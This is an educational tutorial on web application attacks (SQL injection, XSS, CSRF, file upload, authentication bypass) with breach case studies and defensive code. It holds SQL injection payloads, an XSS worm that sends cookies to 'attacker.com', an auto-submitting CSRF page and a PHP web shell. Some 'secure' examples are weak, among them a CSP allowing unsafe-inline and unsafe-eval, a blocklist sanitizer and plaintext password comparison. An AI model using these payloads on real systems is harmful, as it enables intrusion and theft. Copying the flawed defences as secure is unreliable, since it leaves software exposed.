Web Application Attacks: Exploiting Vulnerabilities in the Digital Frontend

2024

In this project, we will explore web application attacks, which are among the most common cyber threats targeting online services. We'll examine real-world vulnerabilities, demonstrate attack techniques, and analyze famous breaches to understand how attackers exploit web application weaknesses. We'll also look at prevention strategies and security best practices.


What are Web Application Attacks?

Web application attacks target vulnerabilities in web-based software to gain unauthorized access, steal data, or disrupt services. These attacks exploit weaknesses in the application's code, configuration, or underlying infrastructure.

Why Web Applications are Targeted

High Value: Web applications often contain sensitive data like user credentials, financial information, and personal details.

Easy Access: Web applications are accessible from anywhere on the internet, providing a large attack surface.

Complex Code: Modern web applications are complex, creating numerous potential vulnerabilities.

User Trust: Users trust web applications with their data, making them attractive targets.


SQL Injection Attacks

What is SQL Injection?

SQL injection occurs when attackers insert malicious SQL code into web application inputs, allowing them to manipulate databases and access unauthorized data.

Real-World Example: Heartland Payment Systems (2008)

Impact: 134 million credit card numbers stolen Method: SQL injection through web application Damage: $140 million in fines and settlements

# Example of vulnerable login form
def vulnerable_login(username, password):
    """Vulnerable login function - DO NOT USE IN PRODUCTION"""
    
    # Vulnerable SQL query - susceptible to injection
    query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
    
    # Execute query
    result = execute_query(query)
    
    if result:
        return "Login successful"
    else:
        return "Login failed"

# Attacker's malicious input
malicious_username = "admin' OR '1'='1' --"
malicious_password = "anything"

# This results in: SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' AND password = 'anything'
# The -- comments out the rest of the query, making it always return true

Advanced SQL Injection Techniques

# Example of UNION-based SQL injection
def union_injection():
    """Example of UNION-based SQL injection"""
    
    # Original query: SELECT name, email FROM users WHERE id = 1
    # Attacker input: 1 UNION SELECT username, password FROM admin_users
    
    malicious_input = "1 UNION SELECT username, password FROM admin_users --"
    
    # Resulting query:
    # SELECT name, email FROM users WHERE id = 1 UNION SELECT username, password FROM admin_users
    # This returns both user data AND admin credentials
    
    return execute_query(f"SELECT name, email FROM users WHERE id = {malicious_input}")

# Example of blind SQL injection
def blind_sql_injection():
    """Example of blind SQL injection using boolean logic"""
    
    # Test if admin user exists
    test_queries = [
        "1 AND (SELECT COUNT(*) FROM users WHERE username='admin') > 0",
        "1 AND (SELECT LENGTH(password) FROM users WHERE username='admin') = 32",
        "1 AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a'"
    ]
    
    for query in test_queries:
        result = execute_query(f"SELECT * FROM users WHERE id = {query}")
        if result:
            print("Condition is true")
        else:
            print("Condition is false")

# Example of time-based SQL injection
def time_based_injection():
    """Example of time-based SQL injection"""
    
    # Use SLEEP() function to determine if condition is true
    malicious_input = "1 AND IF((SELECT COUNT(*) FROM admin_users) > 0, SLEEP(5), 0)"
    
    # If admin_users table exists, query will take 5 seconds
    start_time = time.time()
    result = execute_query(f"SELECT * FROM users WHERE id = {malicious_input}")
    execution_time = time.time() - start_time
    
    if execution_time > 5:
        print("Admin users table exists!")

SQL Injection Prevention

# Secure login function using parameterized queries
def secure_login(username, password):
    """Secure login function using parameterized queries"""
    
    # Use parameterized query to prevent SQL injection
    query = "SELECT * FROM users WHERE username = %s AND password = %s"
    parameters = (username, password)
    
    # Execute with parameters
    result = execute_query(query, parameters)
    
    if result:
        return "Login successful"
    else:
        return "Login failed"

# Input validation and sanitization
def validate_input(input_string):
    """Validate and sanitize user input"""
    
    # Remove dangerous characters
    dangerous_chars = ["'", '"', ';', '--', '/*', '*/', 'xp_', 'sp_']
    
    for char in dangerous_chars:
        if char in input_string:
            raise ValueError(f"Dangerous character detected: {char}")
    
    # Check length
    if len(input_string) > 100:
        raise ValueError("Input too long")
    
    return input_string.strip()

Cross-Site Scripting (XSS) Attacks

What is XSS?

XSS attacks inject malicious scripts into web pages viewed by other users, allowing attackers to steal cookies, session tokens, and other sensitive information.

Real-World Example: MySpace XSS Worm (2005)

Impact: First major XSS worm, infected over 1 million users Method: Stored XSS in user profiles Result: Massive spread of malicious code

<!-- Example of stored XSS vulnerability -->
<div class="user-profile">
    <h2>Welcome, <?php echo $user_input; ?></h2>
    <p>Your profile: <?php echo $profile_data; ?></p>
</div>

<!-- Attacker's malicious input -->
<script>
    // Steal user's cookies
    var cookies = document.cookie;
    
    // Send to attacker's server
    var img = new Image();
    img.src = "http://attacker.com/steal?cookies=" + encodeURIComponent(cookies);
    
    // Self-replicating worm
    var worm = '<script>var cookies=document.cookie;var img=new Image();img.src="http://attacker.com/steal?cookies="+encodeURIComponent(cookies);<\/script>';
    
    // Post to user's profile
    fetch('/update_profile', {
        method: 'POST',
        body: 'profile=' + encodeURIComponent(worm)
    });
</script>

Types of XSS Attacks

// Reflected XSS Example
function search_results(query) {
    // Vulnerable code - directly outputs user input
    document.getElementById('results').innerHTML = 
        `<p>Search results for: ${query}</p>`;
}

// Attacker's malicious input
const malicious_query = '<script>alert("XSS")</script>';
search_results(malicious_query);

// DOM-based XSS Example
function update_url() {
    // Vulnerable code - uses URL fragment without validation
    const hash = window.location.hash.substring(1);
    document.getElementById('content').innerHTML = decodeURIComponent(hash);
}

// Attacker's malicious URL
// http://example.com/page#<script>alert("DOM XSS")</script>

// Stored XSS Example
function save_comment(comment) {
    // Vulnerable code - stores user input without sanitization
    const comment_html = `<div class="comment">${comment}</div>`;
    save_to_database(comment_html);
}

// Attacker's malicious comment
const malicious_comment = '<script>steal_cookies()</script>';
save_comment(malicious_comment);

XSS Prevention

// Input sanitization
function sanitize_input(input) {
    // Remove script tags and dangerous attributes
    return input
        .replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '')
        .replace(/javascript:/gi, '')
        .replace(/on\w+\s*=/gi, '')
        .replace(/<iframe/gi, '')
        .replace(/<object/gi, '')
        .replace(/<embed/gi, '');
}

// Output encoding
function encode_output(input) {
    return input
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#x27;');
}

// Content Security Policy (CSP)
const csp_header = "Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';";

// Secure comment system
function save_secure_comment(comment) {
    // Sanitize input
    const sanitized_comment = sanitize_input(comment);
    
    // Encode output
    const encoded_comment = encode_output(sanitized_comment);
    
    // Save to database
    save_to_database(encoded_comment);
}

Cross-Site Request Forgery (CSRF) Attacks

What is CSRF?

CSRF attacks trick authenticated users into performing unwanted actions on websites they're logged into, without their knowledge.

Real-World Example: Netflix CSRF (2006)

Impact: Users could be tricked into changing their account settings Method: CSRF through malicious website Result: Account hijacking potential

<!-- Example of CSRF attack -->
<!-- Attacker's malicious website -->
<html>
<head>
    <title>Free Movie Downloads!</title>
</head>
<body>
    <h1>Click here for free movies!</h1>
    
    <!-- Hidden form that submits automatically -->
    <form id="csrf_form" action="https://netflix.com/account/change_email" method="POST" style="display:none;">
        <input type="hidden" name="email" value="attacker@evil.com">
        <input type="hidden" name="confirm_email" value="attacker@evil.com">
        <input type="submit" value="Submit">
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.getElementById('csrf_form').submit();
    </script>
</body>
</html>

CSRF Prevention

// CSRF Token Implementation
class CSRFProtection {
    private $token;
    
    public function __construct() {
        if (!isset($_SESSION['csrf_token'])) {
            $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
        }
        $this->token = $_SESSION['csrf_token'];
    }
    
    public function generate_token() {
        return $this->token;
    }
    
    public function verify_token($token) {
        return hash_equals($this->token, $token);
    }
}

// Secure form with CSRF token
function secure_form() {
    $csrf = new CSRFProtection();
    $token = $csrf->generate_token();
    
    echo '<form action="/change_email" method="POST">';
    echo '<input type="hidden" name="csrf_token" value="' . $token . '">';
    echo '<input type="email" name="email" placeholder="New Email">';
    echo '<input type="submit" value="Change Email">';
    echo '</form>';
}

// Verify CSRF token on form submission
function handle_form_submission() {
    $csrf = new CSRFProtection();
    
    if (!$csrf->verify_token($_POST['csrf_token'])) {
        die('CSRF token validation failed');
    }
    
    // Process form data
    process_email_change($_POST['email']);
}

File Upload Vulnerabilities

What are File Upload Attacks?

Attackers upload malicious files to web applications, which can then be executed to gain unauthorized access or cause damage.

Real-World Example: Image Upload Bypass

# Vulnerable file upload function
def vulnerable_upload(file):
    """Vulnerable file upload - DO NOT USE"""
    
    # Check only file extension
    if file.filename.endswith('.jpg') or file.filename.endswith('.png'):
        # Save file without proper validation
        file.save(f'uploads/{file.filename}')
        return "File uploaded successfully"
    else:
        return "Invalid file type"

# Attacker's malicious file
malicious_file = "shell.php.jpg"  # PHP file with .jpg extension
# Content: <?php system($_GET['cmd']); ?>

# After upload, attacker can access:
# http://example.com/uploads/shell.php.jpg?cmd=ls

Secure File Upload

# Secure file upload implementation
import os
import magic
import hashlib
from PIL import Image

def secure_upload(file):
    """Secure file upload with multiple validations"""
    
    # 1. Check file size
    if file.content_length > 5 * 1024 * 1024:  # 5MB limit
        raise ValueError("File too large")
    
    # 2. Validate file extension
    allowed_extensions = ['.jpg', '.jpeg', '.png', '.gif']
    file_extension = os.path.splitext(file.filename)[1].lower()
    
    if file_extension not in allowed_extensions:
        raise ValueError("Invalid file extension")
    
    # 3. Check MIME type
    mime_type = magic.from_buffer(file.read(1024), mime=True)
    file.seek(0)  # Reset file pointer
    
    allowed_mimes = ['image/jpeg', 'image/png', 'image/gif']
    if mime_type not in allowed_mimes:
        raise ValueError("Invalid MIME type")
    
    # 4. Validate image content
    try:
        image = Image.open(file)
        image.verify()
        file.seek(0)
    except:
        raise ValueError("Invalid image file")
    
    # 5. Generate safe filename
    file_hash = hashlib.sha256(file.read()).hexdigest()
    safe_filename = f"{file_hash}{file_extension}"
    file.seek(0)
    
    # 6. Save to secure location
    upload_path = f"/var/www/uploads/{safe_filename}"
    file.save(upload_path)
    
    # 7. Set proper permissions
    os.chmod(upload_path, 0o644)
    
    return f"uploads/{safe_filename}"

Authentication Bypass Attacks

What is Authentication Bypass?

Attackers find ways to access protected resources without proper authentication, often through vulnerabilities in the authentication system.

Real-World Example: SQL Injection Authentication Bypass

# Vulnerable authentication
def vulnerable_auth(username, password):
    """Vulnerable authentication - DO NOT USE"""
    
    query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
    result = execute_query(query)
    
    if result:
        return create_session(result[0])
    else:
        return None

# Attacker bypasses authentication
bypass_username = "admin' --"
bypass_password = "anything"

# Results in: SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
# The -- comments out the password check

Secure Authentication

# Secure authentication implementation
import bcrypt
import secrets
import time

class SecureAuth:
    def __init__(self):
        self.max_attempts = 5
        self.lockout_time = 300  # 5 minutes
        self.failed_attempts = {}
    
    def hash_password(self, password):
        """Hash password using bcrypt"""
        salt = bcrypt.gensalt()
        return bcrypt.hashpw(password.encode('utf-8'), salt)
    
    def verify_password(self, password, hashed):
        """Verify password against hash"""
        return bcrypt.checkpw(password.encode('utf-8'), hashed)
    
    def check_rate_limit(self, username):
        """Check if user is rate limited"""
        if username in self.failed_attempts:
            attempts, last_attempt = self.failed_attempts[username]
            if attempts >= self.max_attempts:
                if time.time() - last_attempt < self.lockout_time:
                    return False
                else:
                    # Reset after lockout period
                    del self.failed_attempts[username]
        return True
    
    def record_failed_attempt(self, username):
        """Record failed login attempt"""
        if username in self.failed_attempts:
            attempts, _ = self.failed_attempts[username]
            self.failed_attempts[username] = (attempts + 1, time.time())
        else:
            self.failed_attempts[username] = (1, time.time())
    
    def authenticate(self, username, password):
        """Secure authentication"""
        
        # Check rate limiting
        if not self.check_rate_limit(username):
            raise ValueError("Account temporarily locked")
        
        # Use parameterized query
        query = "SELECT id, username, password_hash FROM users WHERE username = %s"
        result = execute_query(query, (username,))
        
        if not result:
            self.record_failed_attempt(username)
            return None
        
        user = result[0]
        
        # Verify password
        if self.verify_password(password, user['password_hash']):
            # Reset failed attempts on success
            if username in self.failed_attempts:
                del self.failed_attempts[username]
            
            # Create secure session
            return self.create_secure_session(user)
        else:
            self.record_failed_attempt(username)
            return None
    
    def create_secure_session(self, user):
        """Create secure session token"""
        session_token = secrets.token_urlsafe(32)
        session_data = {
            'user_id': user['id'],
            'username': user['username'],
            'created_at': time.time(),
            'expires_at': time.time() + 3600  # 1 hour
        }
        
        # Store session in database
        store_session(session_token, session_data)
        
        return session_token

Real-World Case Studies

Equifax Breach (2017)

Vulnerability: Apache Struts vulnerability (CVE-2017-5638) Impact: 147 million records exposed Method: Remote code execution through web application Result: $700 million in damages

Yahoo Breaches (2013-2014)

Vulnerability: Multiple web application vulnerabilities Impact: 3 billion accounts compromised Method: Various web application attacks Result: $350 million reduction in Verizon acquisition price

Target Breach (2013)

Vulnerability: Web application vulnerability in HVAC contractor Impact: 40 million credit card numbers stolen Method: Initial access through web application Result: $162 million in damages


Prevention and Defense

Security Headers

# Security headers implementation
def set_security_headers():
    """Set security headers for web application"""
    
    headers = {
        'X-Frame-Options': 'DENY',  # Prevent clickjacking
        'X-Content-Type-Options': 'nosniff',  # Prevent MIME sniffing
        'X-XSS-Protection': '1; mode=block',  # Enable XSS protection
        'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',  # Force HTTPS
        'Content-Security-Policy': "default-src 'self'; script-src 'self' 'unsafe-inline'",  # CSP
        'Referrer-Policy': 'strict-origin-when-cross-origin'  # Control referrer information
    }
    
    for header, value in headers.items():
        response.headers[header] = value

Input Validation Framework

# Input validation framework
class InputValidator:
    def __init__(self):
        self.rules = {}
    
    def add_rule(self, field, rule_type, **kwargs):
        """Add validation rule for field"""
        self.rules[field] = {'type': rule_type, 'params': kwargs}
    
    def validate(self, data):
        """Validate input data"""
        errors = {}
        
        for field, rule in self.rules.items():
            if field in data:
                value = data[field]
                
                if rule['type'] == 'email':
                    if not self.is_valid_email(value):
                        errors[field] = "Invalid email format"
                
                elif rule['type'] == 'length':
                    min_len = rule['params'].get('min', 0)
                    max_len = rule['params'].get('max', 1000)
                    if len(value) < min_len or len(value) > max_len:
                        errors[field] = f"Length must be between {min_len} and {max_len}"
                
                elif rule['type'] == 'regex':
                    pattern = rule['params']['pattern']
                    if not re.match(pattern, value):
                        errors[field] = rule['params'].get('message', 'Invalid format')
        
        return errors
    
    def is_valid_email(self, email):
        """Validate email format"""
        pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
        return re.match(pattern, email) is not None

# Usage example
validator = InputValidator()
validator.add_rule('email', 'email')
validator.add_rule('username', 'length', min=3, max=20)
validator.add_rule('password', 'regex', pattern=r'^(?=.*[A-Za-z])(?=.*\d)[A-Za-z\d]{8,}$', 
                   message='Password must be at least 8 characters with letters and numbers')

errors = validator.validate({'email': 'invalid-email', 'username': 'ab', 'password': 'weak'})

Conclusion

Web application attacks remain a significant threat due to the complexity of modern web applications and the valuable data they contain. Understanding these vulnerabilities and implementing proper security measures is crucial for protecting against these attacks.

The key to defending against web application attacks is a multi-layered approach that includes input validation, output encoding, secure authentication, and proper security headers. Regular security testing and code reviews are also essential for identifying and fixing vulnerabilities before they can be exploited.

Remember: Security is not a one-time effort but an ongoing process that requires constant vigilance and adaptation to new threats.

Back